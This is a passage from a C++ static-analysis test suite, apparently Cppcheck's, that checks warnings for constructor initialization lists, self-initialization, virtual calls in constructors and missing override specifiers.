const & other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C c;\\n\"\n \" Fred(Fred && other) { c = other.c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (performance) Variable 'c' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { initB(); a = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() : a(0) { if(b) a = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a[5];\\n\"\n \" Fred() { for(int i = 0; i < 5; i++) a[i] = 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a; int b;\\n\"\n \" Fred() : b(5) { a = b; }\\n\" // Don't issue a message here: You actually could move it to the initialization list, but it would cause problems if you change the order of the variable declarations.\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class C;\\n\"\n \"class Fred {\\n\"\n \" C a;\\n\"\n \" Fred() { try { a = new int; } catch(...) {} }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() { s = toString((size_t)this); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" std::string foo();\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::string a;\\n\"\n \" Fred() { a = foo(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (performance) Variable 'a' is assigned in constructor body. Consider performing initialization in initialization list. [useInitializationList]\\n\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #4332\n \" static std::string s;\\n\"\n \" Fred() { s = \\\"foo\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #5640\n \" std::string s;\\n\"\n \" Fred() {\\n\"\n \" char str[2];\\n\"\n \" str[0] = c;\\n\"\n \" str[1] = 0;\\n\"\n \" s = str;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class B {\\n\" // #5640\n \" std::shared_ptr _d;\\n\"\n \" B(const B& other) : _d(std::make_shared()) {\\n\"\n \" *_d = *other._d;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Bar {\\n\" // #8466\n \"public:\\n\"\n \" explicit Bar(const Bar &bar) : Bar{bar.s} {}\\n\"\n \" explicit Bar(const char s) : s{s} {}\\n\"\n \"private:\\n\"\n \" char s;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"unsigned bar(std::string);\\n\" // #8291\n \"class Foo {\\n\"\n \"public:\\n\"\n \" int a_, b_;\\n\"\n \" Foo(int a, int b) : a_(a), b_(b) {}\\n\"\n \" Foo(int a, const std::string& b) : Foo(a, bar(b)) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class Fred {\\n\" // #8111\n \" std::string a;\\n\"\n \" Fred() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << x;\\n\"\n \" a = ostr.str();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: multi line lambda in rhs => do not warn\n checkInitializationListUsage(\"class Fred {\\n\"\n \" std::function f;\\n\"\n \" Fred() {\\n\"\n \" f = [](){\\n\"\n \" return 1;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't warn if some other instance's members are assigned to\n checkInitializationListUsage(\"class C {\\n\"\n \"public:\\n\"\n \" C(C& c) : m_i(c.m_i) { c.m_i = (Foo)-1; }\\n\"\n \"private:\\n\"\n \" Foo m_i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInitializationListUsage(\"class A {\\n\" // #9821 - delegate constructor\n \"public:\\n\"\n \" A() : st{} {}\\n\"\n \"\\n\"\n \" explicit A(const std::string &input): A() {\\n\"\n \" st = input;\\n\"\n \" }\\n\"\n \"\\n\"\n \"private:\\n\"\n \" std::string st;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkSelfInitialization(...) checkSelfInitialization_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkSelfInitialization_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkSelfInitialization)();\n }\n\n void selfInitialization() {\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i(i) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred() : i{i} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int i;\\n\"\n \" Fred();\\n\"\n \"};\\n\"\n \"Fred::Fred() : i(i) {\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (error) Member variable 'i' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\" // #10427\n \"public:\\n\"\n \" explicit A(int x) : _x(static_cast(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class A {\\n\"\n \"public:\\n\"\n \" explicit A(int x) : _x((int)(_x)) {}\\n\"\n \"private:\\n\"\n \" int _x;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Member variable '_x' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred() : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Member variable 's' is initialized by itself. [selfInitialization]\\n\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x(x) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" int x;\\n\"\n \" Fred(int x);\\n\"\n \"};\\n\"\n \"Fred::Fred(int x) : x{x} { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s(s) {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" Fred(const std::string& s) : s{s} {\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : Bar {\\n\"\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i(i) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkSelfInitialization(\"struct Foo : std::Bar {\\n\" // #6073\n \" int i;\\n\"\n \" Foo(int i)\\n\"\n \" : std::Bar(\\\"\\\"), i{i} {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkVirtualFunctionCall(...) checkVirtualFunctionCall_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualFunctionCall_(const char* file, int line, const char (&code)[size]) {\n // Check..\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).certainty(Certainty::inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n checkClass.checkVirtualFunctionCallInConstructor();\n }\n\n void virtualFunctionCallInConstructor() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{f();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 7. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A {\\n\"\n \" virtual int f();\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:17]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() override;\\n\"\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:2:9]: (style) Virtual function 'f' is called from constructor 'A()' at line 3. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \" virtual int f() = 0;\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \" int f();\\n\" // <- not explicitly virtual\n \" A() {f();}\\n\"\n \"};\\n\"\n \"int A::f() { return 1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" A() { A::f(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A : B {\\n\"\n \" int f() final { return 1; }\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class B {\\n\"\n \"public:\"\n \" virtual void f() {}\\n\"\n \"};\\n\"\n \"class A : B {\\n\"\n \"public:\"\n \" void f() override final {}\\n\"\n \" A() { f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual void Copy(const Base& Src) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" Derived() : i(0) {}\\n\"\n \" Derived(const Derived& Src);\\n\"\n \" void Copy(const Base& Src) override;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"Derived::Derived(const Derived& Src) {\\n\"\n \" Copy(Src);\\n\"\n \"}\\n\"\n \"void Derived::Copy(const Base& Src) {\\n\"\n \" auto d = dynamic_cast(Src);\\n\"\n \" i = d.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:13:5] -> [test.cpp:9:10]: (style) Virtual function 'Copy' is called from copy constructor 'Derived(const Derived&Src)' at line 13. Dynamic binding is not used. [virtualCallInConstructor]\\n\",\n errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { auto pf = &B::f; }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct B {\\n\"\n \" B() { (f)(); }\\n\"\n \" virtual void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:3:18]: (style) Virtual function 'f' is called from constructor 'B()' at line 2. Dynamic binding is not used. [virtualCallInConstructor]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class S {\\n\" // don't crash\n \" ~S();\\n\"\n \"public:\\n\"\n \" S();\\n\"\n \"};\\n\"\n \"S::S() {\\n\"\n \" typeid(S);\\n\"\n \"}\\n\"\n \"S::~S() = default;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"struct Base: { virtual void wibble() = 0; virtual ~Base() {} };\\n\" // #11167\n \"struct D final : public Base {\\n\"\n \" void wibble() override;\\n\"\n \" D() {}\\n\"\n \" virtual ~D() { wibble(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCall() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual int pure()=0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(A::pure())\\n\"\n \"{}\");\n ASSERT_EQUALS(\"[test.cpp:7:13] -> [test.cpp:3:17]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"namespace N {\\n\"\n \" class A\\n\"\n \" {\\n\"\n \" virtual int pure() = 0;\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"N::A::A() : m(N::A::pure()) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:21] -> [test.cpp:4:19]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:2] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual int pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just 